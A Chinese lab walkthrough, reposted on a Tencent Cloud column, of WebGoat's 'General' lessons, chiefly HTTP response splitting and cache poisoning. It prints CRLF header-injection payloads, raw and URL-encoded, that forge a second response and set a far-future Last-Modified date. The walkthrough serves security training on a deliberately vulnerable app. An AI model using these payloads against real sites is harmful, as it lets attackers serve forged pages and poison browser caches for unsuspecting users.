前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >WebGoat靶场系列---General

WebGoat靶场系列---General

作者头像
Ms08067安全实验室
发布2019-09-24 15:30:47
9390
发布2019-09-24 15:30:47
举报
文章被收录于专栏:Ms08067安全实验室

在上一章中,我们已经完成了WebGoat的安装,接下来,就可以来搞事情了。首先,第一部分是对WebGoat的介绍,上一章已经详细介绍过了,我们直接进入实战部分。

本节主要练习的是HTTP基本知识

HTTP协议是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网(WWW:WorldWide Web)服务器传输超文本到本地浏览器的传送协议。

HTTP基于TCP/IP协议,HTTP的客户端请求包括请求行,请求头部,空行和请求数据四个部分组成。

  1. HTTP响应

本节主要目的是了解浏览器和Web程序之间的数据传输,在输入框输入任意字符,之后点击提交,然后一直点击GO,即可通关。

2. HTTP拆分

(1)判断,重定向里边的Location参数恰好是提交的参数’ chinese’,这样,就存在HTTP应答拆分的可能。

先使用Burpsuite抓包,然后将截获的数据包发送到Repeater,来观察请求和响应。

发送到Repeater之后点击Go,来观察响应内容

可以看到,在请求的发送和请求的响应中,都存在Location=chinese,就可以判定,存在HTTP拆分的可能性。

(2)对于HTTP拆分攻击,我们可以自定义HTTP头,然后转化为URL编码进行攻击,可以用URL编码转换(或WebGoat提供的http://yehg.net/encoding/)进行URL编码,将URL编码后提交。

China

Content-Length: 0

HTTP/1.1 200 OK

Content-Type: application/x-www-form-urlencoded

Content-Length: 47

<html>Gogoing</html>

URL编码为:

China%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0AContent-Length%3A%2047%0A%3Chtml%3EGogoing%3C%2Fhtml%3E%0A

然后刷新一下网页,第一阶段已经通过

如果某行的内容是Content-Length:0,则浏览器响应队列会认为这个响应已经结束.浏览器向重定向地址发送请求后会把Content-Length:0之后的内容当成下一个响应,从而显示<html>Gogoing</html>页面内容。

(3)在这个基础上可以改进攻击方式让它更有威胁.在构造的请求中加入Last-modify字段,并设置一个将来的值比如2020年1月1日.意思是服务器告诉浏览器,这个网页最后一次修改是在2020年1月1日.如果浏览器不清除缓存,下一次请求这个页面会加上if-modify-since字段,值是2020年1月1日,也就是说浏览器会问服务器,这个网页在2020年1月1日之后修改过嘛?当然服务器是人的话肯定会对这个问法莫名其妙,怎么会传过来一个未来的值?但是因为是程序,服务器会比对最后一次修改时间和传过来的时间,发现传过来的时间较新,就会回送304即Not Modified,表示这个网页没有被修改过.浏览器接受到了这个响应会从本地缓存读取网页,当然是之前注入的错误网页.如果浏览器不清除缓存,再也别想读取到正确的网页信息了.这就是HTTP的Cache Poisoning(缓存毒化)。

china

Content-Length:0

HTTP/1.1200 OK

Content-Type:application/x-www-form-urlencoded

Last-Modified:Mon, 27 Oct 2222 14:50:18 GMT

Content-Length:47

URL编码:

china%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202222%2014%3A50%3A18%20GMT%0AContent-Length%3A%2047

作者:小英雄宋人头

来源:Ms08067安全实验室

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-03-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Ms08067安全实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云服务器
云服务器(Cloud Virtual Machine,CVM)提供安全可靠的弹性计算服务。 您可以实时扩展或缩减计算资源,适应变化的业务需求,并只需按实际使用的资源计费。使用 CVM 可以极大降低您的软硬件采购成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档